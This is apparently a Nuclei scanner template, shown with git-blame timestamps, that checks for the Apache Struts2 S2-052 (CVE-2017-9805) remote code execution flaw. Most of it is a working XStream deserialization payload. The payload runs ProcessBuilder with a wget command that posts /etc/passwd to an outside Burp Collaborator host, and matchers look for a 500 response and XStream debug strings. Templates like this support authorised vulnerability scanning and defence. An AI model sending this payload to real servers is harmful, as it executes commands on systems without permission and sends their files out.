2021-02-21 14:01:07 +00:00
|
|
|
id: CVE-2017-9805
|
|
|
|
|
|
|
|
|
|
info:
|
|
|
|
|
name: Apache Struts2 S2-052 RCE
|
|
|
|
|
author: pikpikcu
|
|
|
|
|
severity: critical
|
|
|
|
|
reference: https://nvd.nist.gov/vuln/detail/CVE-2017-9805
|
2021-02-22 07:01:32 +00:00
|
|
|
tags: cve,cve2017,apache,rce,struts
|
2021-02-21 14:01:07 +00:00
|
|
|
|
|
|
|
|
requests:
|
|
|
|
|
- method: POST
|
|
|
|
|
path:
|
|
|
|
|
- "{{BaseURL}}/struts2-rest-showcase/orders/3"
|
2021-02-23 01:42:08 +00:00
|
|
|
- "{{BaseURL}}/orders/3"
|
2021-02-21 14:01:07 +00:00
|
|
|
headers:
|
|
|
|
|
Content-Type: application/xml
|
|
|
|
|
body: |
|
2021-02-21 20:18:07 +00:00
|
|
|
<map>
|
2021-02-23 01:42:08 +00:00
|
|
|
<entry>
|
|
|
|
|
<jdk.nashorn.internal.objects.NativeString>
|
|
|
|
|
<flags>0</flags>
|
|
|
|
|
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
|
|
|
|
|
<dataHandler>
|
|
|
|
|
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
|
|
|
|
|
<is class="javax.crypto.CipherInputStream">
|
|
|
|
|
<cipher class="javax.crypto.NullCipher">
|
|
|
|
|
<initialized>false</initialized>
|
|
|
|
|
<opmode>0</opmode>
|
|
|
|
|
<serviceIterator class="javax.imageio.spi.FilterIterator">
|
|
|
|
|
<iter class="javax.imageio.spi.FilterIterator">
|
|
|
|
|
<iter class="java.util.Collections$EmptyIterator"/>
|
|
|
|
|
<next class="java.lang.ProcessBuilder">
|
|
|
|
|
<command>
|
|
|
|
|
<string>wget</string>
|
|
|
|
|
<string>--post-file</string>
|
|
|
|
|
<string>/etc/passwd</string>
|
|
|
|
|
<string>burpcollaborator.net</string>
|
|
|
|
|
</command>
|
|
|
|
|
<redirectErrorStream>false</redirectErrorStream>
|
|
|
|
|
</next>
|
|
|
|
|
</iter>
|
|
|
|
|
<filter class="javax.imageio.ImageIO$ContainsFilter">
|
|
|
|
|
<method>
|
|
|
|
|
<class>java.lang.ProcessBuilder</class>
|
|
|
|
|
<name>start</name>
|
|
|
|
|
<parameter-types/>
|
|
|
|
|
</method>
|
|
|
|
|
<name>asdasd</name>
|
|
|
|
|
</filter>
|
|
|
|
|
<next class="string">asdasd</next>
|
|
|
|
|
</serviceIterator>
|
|
|
|
|
<lock/>
|
|
|
|
|
</cipher>
|
|
|
|
|
<input class="java.lang.ProcessBuilder$NullInputStream"/>
|
|
|
|
|
<ibuffer></ibuffer>
|
|
|
|
|
<done>false</done>
|
|
|
|
|
<ostart>0</ostart>
|
|
|
|
|
<ofinish>0</ofinish>
|
|
|
|
|
<closed>false</closed>
|
|
|
|
|
</is>
|
|
|
|
|
<consumed>false</consumed>
|
|
|
|
|
</dataSource>
|
|
|
|
|
<transferFlavors/>
|
|
|
|
|
</dataHandler>
|
|
|
|
|
<dataLen>0</dataLen>
|
|
|
|
|
</value>
|
|
|
|
|
</jdk.nashorn.internal.objects.NativeString>
|
|
|
|
|
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
|
|
|
|
|
</entry>
|
|
|
|
|
<entry>
|
|
|
|
|
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
|
|
|
|
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
|
|
|
|
</entry>
|
2021-02-21 14:01:07 +00:00
|
|
|
</map>
|
|
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
|
matchers:
|
|
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
|
words:
|
|
|
|
|
- "Debugging information"
|
|
|
|
|
- "com.thoughtworks.xstream.converters.collections.MapConverter"
|
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
|
status:
|
|
|
|
|
- 500
|
